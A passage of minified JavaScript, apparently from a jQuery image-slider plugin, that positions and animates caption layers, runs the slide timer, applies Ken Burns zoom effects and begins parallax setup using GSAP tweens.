transparent",borderTopColor:bi})}}if(a.fullScreenAlignForce=="on"){k=0;w=0}if(bG.data("voffset")==aK){bG.data("voffset",0)}if(bG.data("hoffset")==aK){bG.data("hoffset",0)}var W=bG.data("voffset")*bv;var bk=bG.data("hoffset")*bv;var bm=a.startwidth*bv;var u=a.startheight*bv;if(a.fullScreenAlignForce=="on"){bm=a.container.width();u=a.container.height()}if(bG.data("x")=="center"||bG.data("xcenter")=="center"){bG.data("xcenter","center");bG.data("x",bm/2-bG.outerWidth(true)/2+bk)}if(bG.data("x")=="left"||bG.data("xleft")=="left"){bG.data("xleft","left");bG.data("x",0/bv+bk)}if(bG.data("x")=="right"||bG.data("xright")=="right"){bG.data("xright","right");bG.data("x",(bm-bG.outerWidth(true)+bk)/bv)}if(bG.data("y")=="center"||bG.data("ycenter")=="center"){bG.data("ycenter","center");bG.data("y",u/2-bG.outerHeight(true)/2+W)}if(bG.data("y")=="top"||bG.data("ytop")=="top"){bG.data("ytop","top");bG.data("y",0/a.bh+W)}if(bG.data("y")=="bottom"||bG.data("ybottom")=="bottom"){bG.data("ybottom","bottom");bG.data("y",(u-bG.outerHeight(true)+W)/bv)}if(bG.data("start")==aK){bG.data("start",1000)}var bh=bG.data("easing");if(bh==aK){bh="punchgs.Power1.easeOut"}var bj=bG.data("start")/1000,bg=bG.data("speed")/1000;if(bG.data("x")=="center"||bG.data("xcenter")=="center"){var bA=bG.data("x")+k}else{var bA=bv*bG.data("x")+k}if(bG.data("y")=="center"||bG.data("ycenter")=="center"){var R=bG.data("y")+w}else{var R=a.bh*bG.data("y")+w}punchgs.TweenLite.set(bG,{top:R,left:bA,overwrite:"auto"});if(bJ==0){bw=true}if(bG.data("timeline")!=aK&&!bw){if(bJ!=2){bG.data("timeline").gotoAndPlay(0)}bw=true}if(!bw){if(bG.data("timeline")!=aK){}var D=new punchgs.TimelineLite({smoothChildTiming:true,onStart:x});D.pause();if(a.fullScreenAlignForce=="on"){}var a9=bG;if(bG.data("mySplitText")!=aK){bG.data("mySplitText").revert()}if(bG.data("splitin")=="chars"||bG.data("splitin")=="words"||bG.data("splitin")=="lines"||bG.data("splitout")=="chars"||bG.data("splitout")=="words"||bG.data("splitout")=="lines"){if(bG.find("a").length>0){bG.data("mySplitText",new punchgs.SplitText(bG.find("a"),{type:"lines,words,chars",charsClass:"tp-splitted",wordsClass:"tp-splitted",linesClass:"tp-splitted"}))}else{if(bG.find(".tp-layer-inner-rotation").length>0){bG.data("mySplitText",new punchgs.SplitText(bG.find(".tp-layer-inner-rotation"),{type:"lines,words,chars",charsClass:"tp-splitted",wordsClass:"tp-splitted",linesClass:"tp-splitted"}))}else{bG.data("mySplitText",new punchgs.SplitText(bG,{type:"lines,words,chars",charsClass:"tp-splitted",wordsClass:"tp-splitted",linesClass:"tp-splitted"}))}}bG.addClass("splitted")}if(bG.data("splitin")=="chars"){a9=bG.data("mySplitText").chars}if(bG.data("splitin")=="words"){a9=bG.data("mySplitText").words}if(bG.data("splitin")=="lines"){a9=bG.data("mySplitText").lines}var O=ak();var H=ak();if(bG.data("repeat")!=aK){repeatV=bG.data("repeat")}if(bG.data("yoyo")!=aK){yoyoV=bG.data("yoyo")}if(bG.data("repeatdelay")!=aK){repeatdelayV=bG.data("repeatdelay")}var bb=bG.attr("class");if(bb.match("customin")){O=at(O,bG.data("customin"))}else{if(bb.match("randomrotate")){O.scale=Math.random()*3+1;O.rotation=Math.round(Math.random()*200-100);O.x=Math.round(Math.random()*200-100);O.y=Math.round(Math.random()*200-100)}else{if(bb.match("lfr")||bb.match("skewfromright")){O.x=15+a.width}else{if(bb.match("lfl")||bb.match("skewfromleft")){O.x=-15-o}else{if(bb.match("sfl")||bb.match("skewfromleftshort")){O.x=-50}else{if(bb.match("sfr")||bb.match("skewfromrightshort")){O.x=50}else{if(bb.match("lft")){O.y=-25-bo}else{if(bb.match("lfb")){O.y=25+a.height}else{if(bb.match("sft")){O.y=-50}else{if(bb.match("sfb")){O.y=50}}}}}}}}}}if(bb.match("skewfromright")||bG.hasClass("skewfromrightshort")){O.skewX=-85}else{if(bb.match("skewfromleft")||bG.hasClass("skewfromleftshort")){O.skewX=85}}if(bb.match("fade")||bb.match("sft")||bb.match("sfl")||bb.match("sfb")||bb.match("skewfromleftshort")||bb.match("sfr")||bb.match("skewfromrightshort")){O.opacity=0}if(av().toLowerCase()=="safari"){}var bx=bG.data("elementdelay")==aK?0:bG.data("elementdelay");H.ease=O.ease=bG.data("easing")==aK?punchgs.Power1.easeInOut:bG.data("easing");O.data=new Object;O.data.oldx=O.x;O.data.oldy=O.y;H.data=new Object;H.data.oldx=H.x;H.data.oldy=H.y;O.x=O.x*bv;O.y=O.y*bv;var bL=new punchgs.TimelineLite;if(bJ!=2){if(bb.match("customin")){if(a9!=bG){D.add(punchgs.TweenLite.set(bG,{force3D:"auto",opacity:1,scaleX:1,scaleY:1,rotationX:0,rotationY:0,rotationZ:0,skewX:0,skewY:0,z:0,x:0,y:0,visibility:"visible",delay:0,overwrite:"all"}))}O.visibility="hidden";H.visibility="visible";H.overwrite="all";H.opacity=1;H.onComplete=g();H.delay=bj;H.force3D="auto";D.add(bL.staggerFromTo(a9,bg,O,H,bx),"frame0")}else{O.visibility="visible";O.transformPerspective=600;if(a9!=bG){D.add(punchgs.TweenLite.set(bG,{force3D:"auto",opacity:1,scaleX:1,scaleY:1,rotationX:0,rotationY:0,rotationZ:0,skewX:0,skewY:0,z:0,x:0,y:0,visibility:"visible",delay:0,overwrite:"all"}))}H.visibility="visible";H.delay=bj;H.onComplete=g();H.opacity=1;H.force3D="auto";if(bb.match("randomrotate")&&a9!=bG){for(var bB=0;bB<a9.length;bB++){var a8=new Object;var bp=new Object;a2.extend(a8,O);a2.extend(bp,H);O.scale=Math.random()*3+1;O.rotation=Math.round(Math.random()*200-100);O.x=Math.round(Math.random()*200-100);O.y=Math.round(Math.random()*200-100);if(bB!=0){bp.delay=bj+bB*bx}D.append(punchgs.TweenLite.fromTo(a9[bB],bg,a8,bp),"frame0")}}else{D.add(bL.staggerFromTo(a9,bg,O,H,bx),"frame0")}}}bG.data("timeline",D);var bn=new Array;if(bG.data("frames")!=aK){var bf=bG.data("frames");bf=bf.replace(/\s+/g,"");bf=bf.replace("{","");var be=bf.split("}");a2.each(be,function(f,d){if(d.length>0){var h=az(d);ad(bG,a,h,"frame"+(f+10),bv)}})}D=bG.data("timeline");if(bG.data("end")!=aK&&(bJ==-1||bJ==2)){ac(bG,a,bG.data("end")/1000,O,"frame99",bv)}else{if(bJ==-1||bJ==2){ac(bG,a,999999,O,"frame99",bv)}else{ac(bG,a,200,O,"frame99",bv)}}D=bG.data("timeline");bG.data("timeline",D);ai(bG,bv);D.resume()}}if(bw){af(bG);ai(bG,bv);if(bG.data("timeline")!=aK){var bH=bG.data("timeline").getTweensOf();a2.each(bH,function(p,z){if(z.vars.data!=aK){var h=z.vars.data.oldx*bv;var d=z.vars.data.oldy*bv;if(z.progress()!=1&&z.progress()!=0){try{z.vars.x=h;z.vary.y=d}catch(f){}}else{if(z.progress()==1){punchgs.TweenLite.set(z.target,{x:h,y:d})}}}})}}});var v=a2("body").find("#"+a.container.attr("id")).find(".tp-bannertimer");v.data("opt",a);if(y!=aK){setTimeout(function(){y.resume()},30)}};var av=function(){var c=navigator.appName,a=navigator.userAgent,d;var b=a.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);if(b&&(d=a.match(/version\/([\.\d]+)/i))!=null){b[2]=d[1]}b=b?[b[1],b[2]]:[c,navigator.appVersion,"-?"];return b[0]};var ar=function(){var c=navigator.appName,a=navigator.userAgent,d;var b=a.match(/(opera|chrome|safari|firefox|msie)\/?\s*(\.?\d+(\.\d+)*)/i);if(b&&(d=a.match(/version\/([\.\d]+)/i))!=null){b[2]=d[1]}b=b?[b[1],b[2]]:[c,navigator.appVersion,"-?"];return b[1]};var aN=function(a,b){if(a.data("fsize")==aK){a.data("fsize",parseInt(a.css("font-size"),0)||0)}if(a.data("pt")==aK){a.data("pt",parseInt(a.css("paddingTop"),0)||0)}if(a.data("pb")==aK){a.data("pb",parseInt(a.css("paddingBottom"),0)||0)}if(a.data("pl")==aK){a.data("pl",parseInt(a.css("paddingLeft"),0)||0)}if(a.data("pr")==aK){a.data("pr",parseInt(a.css("paddingRight"),0)||0)}if(a.data("mt")==aK){a.data("mt",parseInt(a.css("marginTop"),0)||0)}if(a.data("mb")==aK){a.data("mb",parseInt(a.css("marginBottom"),0)||0)}if(a.data("ml")==aK){a.data("ml",parseInt(a.css("marginLeft"),0)||0)}if(a.data("mr")==aK){a.data("mr",parseInt(a.css("marginRight"),0)||0)}if(a.data("bt")==aK){a.data("bt",parseInt(a.css("borderTopWidth"),0)||0)}if(a.data("bb")==aK){a.data("bb",parseInt(a.css("borderBottomWidth"),0)||0)}if(a.data("bl")==aK){a.data("bl",parseInt(a.css("borderLeftWidth"),0)||0)}if(a.data("br")==aK){a.data("br",parseInt(a.css("borderRightWidth"),0)||0)}if(a.data("ls")==aK){a.data("ls",parseInt(a.css("letterSpacing"),0)||0)}if(a.data("lh")==aK){a.data("lh",parseInt(a.css("lineHeight"),0)||"auto")}if(a.data("minwidth")==aK){a.data("minwidth",parseInt(a.css("minWidth"),0)||0)}if(a.data("minheight")==aK){a.data("minheight",parseInt(a.css("minHeight"),0)||0)}if(a.data("maxwidth")==aK){a.data("maxwidth",parseInt(a.css("maxWidth"),0)||"none")}if(a.data("maxheight")==aK){a.data("maxheight",parseInt(a.css("maxHeight"),0)||"none")}if(a.data("wii")==aK){a.data("wii",parseInt(a.css("width"),0)||0)}if(a.data("hii")==aK){a.data("hii",parseInt(a.css("height"),0)||0)}if(a.data("wan")==aK){a.data("wan",a.css("-webkit-transition"))}if(a.data("moan")==aK){a.data("moan",a.css("-moz-animation-transition"))}if(a.data("man")==aK){a.data("man",a.css("-ms-animation-transition"))}if(a.data("ani")==aK){a.data("ani",a.css("transition"))}if(a.data("lh")=="auto"){a.data("lh",a.data("fsize")+4)}if(!a.hasClass("tp-splitted")){a.css("-webkit-transition","none");a.css("-moz-transition","none");a.css("-ms-transition","none");a.css("transition","none");punchgs.TweenLite.set(a,{fontSize:Math.round(a.data("fsize")*b.bw)+"px",letterSpacing:Math.floor(a.data("ls")*b.bw)+"px",paddingTop:Math.round(a.data("pt")*b.bh)+"px",paddingBottom:Math.round(a.data("pb")*b.bh)+"px",paddingLeft:Math.round(a.data("pl")*b.bw)+"px",paddingRight:Math.round(a.data("pr")*b.bw)+"px",marginTop:a.data("mt")*b.bh+"px",marginBottom:a.data("mb")*b.bh+"px",marginLeft:a.data("ml")*b.bw+"px",marginRight:a.data("mr")*b.bw+"px",borderTopWidth:Math.round(a.data("bt")*b.bh)+"px",borderBottomWidth:Math.round(a.data("bb")*b.bh)+"px",borderLeftWidth:Math.round(a.data("bl")*b.bw)+"px",borderRightWidth:Math.round(a.data("br")*b.bw)+"px",lineHeight:Math.round(a.data("lh")*b.bh)+"px",minWidth:a.data("minwidth")*b.bw+"px",minHeight:a.data("minheight")*b.bh+"px",overwrite:"auto"});setTimeout(function(){a.css("-webkit-transition",a.data("wan"));a.css("-moz-transition",a.data("moan"));a.css("-ms-transition",a.data("man"));a.css("transition",a.data("ani"))},30);if(a.data("maxheight")!="none"){a.css({maxHeight:a.data("maxheight")*b.bh+"px"})}if(a.data("maxwidth")!="none"){a.css({maxWidth:a.data("maxwidth")*b.bw+"px"})}}};var ai=function(b,a){b.find(".rs-pendulum").each(function(){var j=a2(this);if(j.data("timeline")==aK){j.data("timeline",new punchgs.TimelineLite);var f=j.data("startdeg")==aK?-20:j.data("startdeg"),g=j.data("enddeg")==aK?20:j.data("enddeg"),h=j.data("speed")==aK?2:j.data("speed"),d=j.data("origin")==aK?"50% 50%":j.data("origin"),c=j.data("easing")==aK?punchgs.Power2.easeInOut:j.data("ease");f=f*a;g=g*a;j.data("timeline").append(new punchgs.TweenLite.fromTo(j,h,{force3D:"auto",rotation:f,transformOrigin:d},{rotation:g,ease:c}));j.data("timeline").append(new punchgs.TweenLite.fromTo(j,h,{force3D:"auto",rotation:g,transformOrigin:d},{rotation:f,ease:c,onComplete:function(){j.data("timeline").restart()}}))}});b.find(".rs-rotate").each(function(){var f=a2(this);if(f.data("timeline")==aK){f.data("timeline",new punchgs.TimelineLite);var c=f.data("startdeg")==aK?0:f.data("startdeg"),d=f.data("enddeg")==aK?360:f.data("enddeg");speed=f.data("speed")==aK?2:f.data("speed"),origin=f.data("origin")==aK?"50% 50%":f.data("origin"),easing=f.data("easing")==aK?punchgs.Power2.easeInOut:f.data("easing");c=c*a;d=d*a;f.data("timeline").append(new punchgs.TweenLite.fromTo(f,speed,{force3D:"auto",rotation:c,transformOrigin:origin},{rotation:d,ease:easing,onComplete:function(){f.data("timeline").restart()}}))}});b.find(".rs-slideloop").each(function(){var l=a2(this);if(l.data("timeline")==aK){l.data("timeline",new punchgs.TimelineLite);var g=l.data("xs")==aK?0:l.data("xs"),h=l.data("ys")==aK?0:l.data("ys"),k=l.data("xe")==aK?0:l.data("xe"),d=l.data("ye")==aK?0:l.data("ye"),c=l.data("speed")==aK?2:l.data("speed"),j=l.data("easing")==aK?punchgs.Power2.easeInOut:l.data("easing");g=g*a;h=h*a;k=k*a;d=d*a;l.data("timeline").append(new punchgs.TweenLite.fromTo(l,c,{force3D:"auto",x:g,y:h},{x:k,y:d,ease:j}));l.data("timeline").append(new punchgs.TweenLite.fromTo(l,c,{force3D:"auto",x:k,y:d},{x:g,y:h,onComplete:function(){l.data("timeline").restart()}}))}});b.find(".rs-pulse").each(function(){var h=a2(this);if(h.data("timeline")==aK){h.data("timeline",new punchgs.TimelineLite);var f=h.data("zoomstart")==aK?0:h.data("zoomstart"),c=h.data("zoomend")==aK?0:h.data("zoomend"),d=h.data("speed")==aK?2:h.data("speed"),g=h.data("easing")==aK?punchgs.Power2.easeInOut:h.data("easing");h.data("timeline").append(new punchgs.TweenLite.fromTo(h,d,{force3D:"auto",scale:f},{scale:c,ease:g}));h.data("timeline").append(new punchgs.TweenLite.fromTo(h,d,{force3D:"auto",scale:c},{scale:f,onComplete:function(){h.data("timeline").restart()}}))}});b.find(".rs-wave").each(function(){var j=a2(this);if(j.data("timeline")==aK){j.data("timeline",new punchgs.TimelineLite);var f=j.data("angle")==aK?10:j.data("angle"),g=j.data("radius")==aK?10:j.data("radius"),h=j.data("speed")==aK?-20:j.data("speed"),d=j.data("origin")==aK?-20:j.data("origin");f=f*a;g=g*a;var c={a:0,ang:f,element:j,unit:g};j.data("timeline").append(new punchgs.TweenLite.fromTo(c,h,{a:360},{a:0,force3D:"auto",ease:punchgs.Linear.easeNone,onUpdate:function(){var k=c.a*(Math.PI/180);punchgs.TweenLite.to(c.element,0.1,{force3D:"auto",x:Math.cos(k)*c.unit,y:c.unit*(1-Math.sin(k))})},onComplete:function(){j.data("timeline").restart()}}))}})};var af=function(a){a.find(".rs-pendulum, .rs-slideloop, .rs-pulse, .rs-wave").each(function(){var b=a2(this);if(b.data("timeline")!=aK){b.data("timeline").pause();b.data("timeline",null)}})};var aE=function(f,c){var a=0;var b=f.find(".tp-caption"),d=c.container.find(".tp-static-layers").find(".tp-caption");a2.each(d,function(h,g){b.push(g)});b.each(function(k){var C=-1;var j=a2(this);if(j.hasClass("tp-static-layer")){if(j.data("startslide")==-1||j.data("startslide")=="-1"){j.data("startslide",0)}if(j.data("endslide")==-1||j.data("endslide")=="-1"){j.data("endslide",c.slideamount)}if(j.hasClass("tp-is-shown")){if(j.data("startslide")>c.next||j.data("endslide")<c.next){C=2;j.removeClass("tp-is-shown")}else{C=0}}else{C=2}}if(C!=0){af(j);if(j.find("iframe").length>0){punchgs.TweenLite.to(j.find("iframe"),0.2,{autoAlpha:0});if(aq()){j.find("iframe").remove()}try{var B=j.find("iframe");var z=B.attr("id");var w=$f(z);w.api("pause");clearTimeout(j.data("timerplay"))}catch(r){}try{var y=j.data("player");y.stopVideo();clearTimeout(j.data("timerplay"))}catch(r){}}if(j.find("video").length>0){try{j.find("video").each(function(l){var o=a2(this).parent();var m=o.attr("id");clearTimeout(o.data("timerplay"));var h=this;h.pause()})}catch(r){}}try{var t=j.data("timeline");var g=t.getLabelTime("frame99");var x=t.time();if(g>x){var A=t.getTweensOf(j);a2.each(A,function(l,h){if(l!=0){h.pause()}});if(j.css("opacity")!=0){var q=j.data("endspeed")==aK?j.data("speed"):j.data("endspeed");if(q>a){a=q}t.play("frame99")}else{t.progress(1,false)}}}catch(r){}}});return a};var ad=function(h,k,g,d,f){var j=h.data("timeline");var c=new punchgs.TimelineLite;var b=h;if(g.typ=="chars"){b=h.data("mySplitText").chars}else{if(g.typ=="words"){b=h.data("mySplitText").words}else{if(g.typ=="lines"){b=h.data("mySplitText").lines}}}g.animation.ease=g.ease;if(g.animation.rotationZ!=aK){g.animation.rotation=g.animation.rotationZ}g.animation.data=new Object;g.animation.data.oldx=g.animation.x;g.animation.data.oldy=g.animation.y;g.animation.x=g.animation.x*f;g.animation.y=g.animation.y*f;j.add(c.staggerTo(b,g.speed,g.animation,g.elementdelay),g.start);j.addLabel(d,g.start);h.data("timeline",j)};var ac=function(v,j,b,m,z,g){var y=v.data("timeline"),x=new punchgs.TimelineLite;var t=ak(),k=v.data("endspeed")==aK?v.data("speed"):v.data("endspeed"),w=v.attr("class");t.ease=v.data("endeasing")==aK?punchgs.Power1.easeInOut:v.data("endeasing");k=k/1000;if(w.match("ltr")||w.match("ltl")||w.match("str")||w.match("stl")||w.match("ltt")||w.match("ltb")||w.match("stt")||w.match("stb")||w.match("skewtoright")||w.match("skewtorightshort")||w.match("skewtoleft")||w.match("skewtoleftshort")||w.match("fadeout")||w.match("randomrotateout")){if(w.match("skewtoright")||w.match("skewtorightshort")){t.skewX=35}else{if(w.match("skewtoleft")||w.match("skewtoleftshort")){t.skewX=-35}}if(w.match("ltr")||w.match("skewtoright")){t.x=j.width+60}else{if(w.match("ltl")||w.match("skewtoleft")){t.x=0-(j.width+60)}else{if(w.match("ltt")){t.y=0-(j.height+60)}else{if(w.match("ltb")){t.y=j.height+60}else{if(w.match("str")||w.match("skewtorightshort")){t.x=50;t.opacity=0}else{if(w.match("stl")||w.match("skewtoleftshort")){t.x=-50;t.opacity=0}else{if(w.match("stt")){t.y=-50;t.opacity=0}else{if(w.match("stb")){t.y=50;t.opacity=0}else{if(w.match("randomrotateout")){t.x=Math.random()*j.width;t.y=Math.random()*j.height;t.scale=Math.random()*2+0.3;t.rotation=Math.random()*360-180;t.opacity=0}else{if(w.match("fadeout")){t.opacity=0}}}}}}}}}}if(w.match("skewtorightshort")){t.x=270}else{if(w.match("skewtoleftshort")){t.x=-270}}t.data=new Object;t.data.oldx=t.x;t.data.oldy=t.y;t.x=t.x*g;t.y=t.y*g;t.overwrite="auto";var q=v;var q=v;if(v.data("splitout")=="chars"){q=v.data("mySplitText").chars}else{if(v.data("splitout")=="words"){q=v.data("mySplitText").words}else{if(v.data("splitout")=="lines"){q=v.data("mySplitText").lines}}}var d=v.data("endelementdelay")==aK?0:v.data("endelementdelay");y.add(x.staggerTo(q,k,t,d),b)}else{if(v.hasClass("customout")){t=at(t,v.data("customout"));var q=v;if(v.data("splitout")=="chars"){q=v.data("mySplitText").chars}else{if(v.data("splitout")=="words"){q=v.data("mySplitText").words}else{if(v.data("splitout")=="lines"){q=v.data("mySplitText").lines}}}var d=v.data("endelementdelay")==aK?0:v.data("endelementdelay");t.onStart=function(){punchgs.TweenLite.set(v,{transformPerspective:t.transformPerspective,transformOrigin:t.transformOrigin,overwrite:"auto"})};t.data=new Object;t.data.oldx=t.x;t.data.oldy=t.y;t.x=t.x*g;t.y=t.y*g;y.add(x.staggerTo(q,k,t,d),b)}else{m.delay=0;y.add(punchgs.TweenLite.to(v,k,m),b)}}y.addLabel(z,b);v.data("timeline",y)};var ae=function(a,c){a.children().each(function(){try{a2(this).die("click")}catch(d){}try{a2(this).die("mouseenter")}catch(d){}try{a2(this).die("mouseleave")}catch(d){}try{a2(this).unbind("hover")}catch(d){}});try{a.die("click","mouseenter","mouseleave")}catch(b){}clearInterval(c.cdint);a=null};var aD=function(d,c){c.cd=0;c.loop=0;if(c.stopAfterLoops!=aK&&c.stopAfterLoops>-1){c.looptogo=c.stopAfterLoops}else{c.looptogo=9999999}if(c.stopAtSlide!=aK&&c.stopAtSlide>-1){c.lastslidetoshow=c.stopAtSlide}else{c.lastslidetoshow=999}c.stopLoop="off";if(c.looptogo==0){c.stopLoop="on"}if(c.slideamount>1&&!(c.stopAfterLoops==0&&c.stopAtSlide==1)){var a=d.find(".tp-bannertimer");d.on("stoptimer",function(){var f=a2(this).find(".tp-bannertimer");f.data("tween").pause();if(c.hideTimerBar=="on"){f.css({visibility:"hidden"})}});d.on("starttimer",function(){if(c.conthover!=1&&c.videoplaying!=true&&c.width>c.hideSliderAtLimit&&c.bannertimeronpause!=true&&c.overnav!=true){if(c.stopLoop=="on"&&c.next==c.lastslidetoshow-1||c.noloopanymore==1){c.noloopanymore=1}else{a.css({visibility:"visible"});a.data("tween").resume()}}if(c.hideTimerBar=="on"){a.css({visibility:"hidden"})}});d.on("restarttimer",function(){var f=a2(this).find(".tp-bannertimer");if(c.stopLoop=="on"&&c.next==c.lastslidetoshow-1||c.noloopanymore==1){c.noloopanymore=1}else{f.css({visibility:"visible"});f.data("tween").kill();f.data("tween",punchgs.TweenLite.fromTo(f,c.delay/1000,{width:"0%"},{force3D:"auto",width:"100%",ease:punchgs.Linear.easeNone,onComplete:b,delay:1}))}if(c.hideTimerBar=="on"){f.css({visibility:"hidden"})}});d.on("nulltimer",function(){a.data("tween").pause(0);if(c.hideTimerBar=="on"){a.css({visibility:"hidden"})}});var b=function(){if(a2("body").find(d).length==0){ae(d,c);clearInterval(c.cdint)}d.trigger("revolution.slide.slideatend");if(d.data("conthover-changed")==1){c.conthover=d.data("conthover");d.data("conthover-changed",0)}c.act=c.next;c.next=c.next+1;if(c.next>d.find(">ul >li").length-1){c.next=0;c.looptogo=c.looptogo-1;if(c.looptogo<=0){c.stopLoop="on"}}if(c.stopLoop=="on"&&c.next==c.lastslidetoshow-1){d.find(".tp-bannertimer").css({visibility:"hidden"});d.trigger("revolution.slide.onstop");c.noloopanymore=1}else{a.data("tween").restart()}am(d,c)};a.data("tween",punchgs.TweenLite.fromTo(a,c.delay/1000,{width:"0%"},{force3D:"auto",width:"100%",ease:punchgs.Linear.easeNone,onComplete:b,delay:1}));a.data("opt",c);d.hover(function(){if(c.onHoverStop=="on"&&!aq()){d.trigger("stoptimer");d.trigger("revolution.slide.onpause");var f=d.find(">ul >li:eq("+c.next+") .slotholder");f.find(".defaultimg").each(function(){var g=a2(this);if(g.data("kenburn")!=aK){g.data("kenburn").pause()}})}},function(){if(d.data("conthover")!=1){d.trigger("revolution.slide.onresume");d.trigger("starttimer");var f=d.find(">ul >li:eq("+c.next+") .slotholder");f.find(".defaultimg").each(function(){var g=a2(this);if(g.data("kenburn")!=aK){g.data("kenburn").play()}})}})}};var aq=function(){var b=["android","webos","iphone","ipad","blackberry","Android","webos",,"iPod","iPhone","iPad","Blackberry","BlackBerry"];var a=false;for(var c in b){if(navigator.userAgent.split(b[c]).length>1){a=true}}return a};var ap=function(g,c,j){var f=c.data("owidth");var b=c.data("oheight");if(f/b>j.width/j.height){var d=j.container.width()/f;var h=b*d;var a=h/j.container.height()*g;g=g*(100/a);a=100;g=g;return g+"% "+a+"% 1"}else{var d=j.container.width()/f;var h=b*d;var a=h/j.container.height()*g;return g+"% "+a+"%"}};var aj=function(I,F,L,D){try{var H=I.find(">ul:first-child >li:eq("+F.act+")")}catch(B){var H=I.find(">ul:first-child >li:eq(1)")}F.lastslide=F.act;var P=I.find(">ul:first-child >li:eq("+F.next+")"),K=P.find(".slotholder"),R=K.data("bgposition"),M=K.data("bgpositionend"),G=K.data("zoomstart")/100,Q=K.data("zoomend")/100,A=K.data("rotationstart"),J=K.data("rotationend"),O=K.data("bgfit"),q=K.data("bgfitend"),U=K.data("easeme"),z=K.data("duration")/1000,C=100;if(O==aK){O=100}if(q==aK){q=100}var j=O,t=q;O=ap(O,K,F);q=ap(q,K,F);C=ap(100,K,F);if(G==aK){G=1}if(Q==aK){Q=1}if(A==aK){A=0}if(J==aK){J=0}if(G<1){G=1}if(Q<1){Q=1}var a=new Object;a.w=parseInt(C.split(" ")[0],0),a.h=parseInt(C.split(" ")[1],0);var k=false;if(C.split(" ")[2]=="1"){k=true}K.find(".defaultimg").each(function(){var w=a2(this);if(K.find(".kenburnimg").length==0){K.append('<div class="kenburnimg" style="position:absolute;z-index:1;width:100%;height:100%;top:0px;left:0px;"><img src="'+w.attr("src")+'" style="-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;position:absolute;width:'+a.w+"%;height:"+a.h+'%;"></div>')}else{K.find(".kenburnimg img").css({width:a.w+"%",height:a.h+"%"})}var g=K.find(".kenburnimg img");var h=au(F,R,O,g,k),c=au(F,M,q,g,k);if(k){h.w=j/100;c.w=t/100}if(D){punchgs.TweenLite.set(g,{autoAlpha:0,transformPerspective:1200,transformOrigin:"0% 0%",top:0,left:0,scale:h.w,x:h.x,y:h.y});var s=h.w,l=s*g.width()-F.width,b=s*g.height()-F.height,m=Math.abs(h.x/l*100),r=Math.abs(h.y/b*100);if(b==0){r=0}if(l==0){m=0}w.data("bgposition",m+"% "+r+"%");if(!a6(8)){w.data("currotate",ab(g))}if(!a6(8)){w.data("curscale",a.w*s+"%  "+(a.h*s+"%"))}K.find(".kenburnimg").remove()}else{w.data("kenburn",punchgs.TweenLite.fromTo(g,z,{autoAlpha:1,force3D:punchgs.force3d,transformOrigin:"0% 0%",top:0,left:0,scale:h.w,x:h.x,y:h.y},{autoAlpha:1,rotationZ:J,ease:U,x:c.x,y:c.y,scale:c.w,onUpdate:function(){var p=g[0]._gsTransform.scaleX;var f=p*g.width()-F.width,n=p*g.height()-F.height,v=Math.abs(g[0]._gsTransform.x/f*100),d=Math.abs(g[0]._gsTransform.y/n*100);if(n==0){d=0}if(f==0){v=0}w.data("bgposition",v+"% "+d+"%");if(!a6(8)){w.data("currotate",ab(g))}if(!a6(8)){w.data("curscale",a.w*p+"%  "+(a.h*p+"%"))}}}))}})};var au=function(f,b,g,d,a){var c=new Object;if(!a){c.w=parseInt(g.split(" ")[0],0)/100}else{c.w=parseInt(g.split(" ")[1],0)/100}switch(b){case"left top":case"top left":c.x=0;c.y=0;break;case"center top":case"top center":c.x=((0-d.width())*c.w+parseInt(f.width,0))/2;c.y=0;break;case"top right":case"right top":c.x=(0-d.width())*c.w+parseInt(f.width,0);c.y=0;break;case"center left":case"left center":c.x=0;c.y=((0-d.height())*c.w+parseInt(f.height,0))/2;break;case"center center":c.x=((0-d.width())*c.w+parseInt(f.width,0))/2;c.y=((0-d.height())*c.w+parseInt(f.height,0))/2;break;case"center right":case"right center":c.x=(0-d.width())*c.w+parseInt(f.width,0);c.y=((0-d.height())*c.w+parseInt(f.height,0))/2;break;case"bottom left":case"left bottom":c.x=0;c.y=(0-d.height())*c.w+parseInt(f.height,0);break;case"bottom center":case"center bottom":c.x=((0-d.width())*c.w+parseInt(f.width,0))/2;c.y=(0-d.height())*c.w+parseInt(f.height,0);break;case"bottom right":case"right bottom":c.x=(0-d.width())*c.w+parseInt(f.width,0);c.y=(0-d.height())*c.w+parseInt(f.height,0);break}return c};var ab=function(f){var b=f.css("-webkit-transform")||f.css("-moz-transform")||f.css("-ms-transform")||f.css("-o-transform")||f.css("transform");if(b!=="none"){var g=b.split("(")[1].split(")")[0].split(",");var d=g[0];var a=g[1];var c=Math.round(Math.atan2(a,d)*(180/Math.PI))}else{var c=0}return c<0?c+=360:c};var aa=function(j,g){try{var d=j.find(">ul:first-child >li:eq("+g.act+")")}catch(f){var d=j.find(">ul:first-child >li:eq(1)")}g.lastslide=g.act;var h=j.find(">ul:first-child >li:eq("+g.next+")");var c=d.find(".slotholder");var b=h.find(".slotholder");j.find(".defaultimg").each(function(){var a=a2(this);punchgs.TweenLite.killTweensOf(a,false);punchgs.TweenLite.set(a,{scale:1,rotationZ:0});punchgs.TweenLite.killTweensOf(a.data("kenburn img"),false);if(a.data("kenburn")!=aK){a.data("kenburn").pause()}if(a.data("currotate")!=aK&&a.data("bgposition")!=aK&&a.data("curscale")!=aK){punchgs.TweenLite.set(a,{rotation:a.data("currotate"),backgroundPosition:a.data("bgposition"),backgroundSize:a.data("curscale")})}if(a!=aK&&a.data("kenburn img")!=aK&&a.data("kenburn img").length>0){punchgs.TweenLite.set(a.data("kenburn img"),{autoAlpha:0})}})};var aO=function(a,b){if(aq()&&b.parallaxDisableOnMobile=="on"){return false}a.find(">ul:first-child >li").each(function(){var c=a2(this);for(var d=1;d<=10;d++){c.find(".rs-parallaxlevel-"+d).each(function(){var f=a2(this);f.wrap('<div style="position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:'+f.css("zIndex")+'" class="tp-parallax-container" data-parallaxlevel="'+b.parallaxLevels[d-1]+'"></div>')})}});if(b.parallax=="mouse"||b.parallax=="scroll+mouse"||b.parallax=="mouse+scroll"){a.mouseenter(function(g){var j=a.find(".current-sr-slide-visible");var f=a.offset().top,c=a.offset().left,d=g.pageX-c,h=g.pageY-f;j.data("enterx",d);j.data("entery",h)});a.on("mousemove.hoverdir, mouseleave.hoverdir",function(k){var h=a.find(".current-sr-slide-visible");switch(k.type){case"mousemove":var 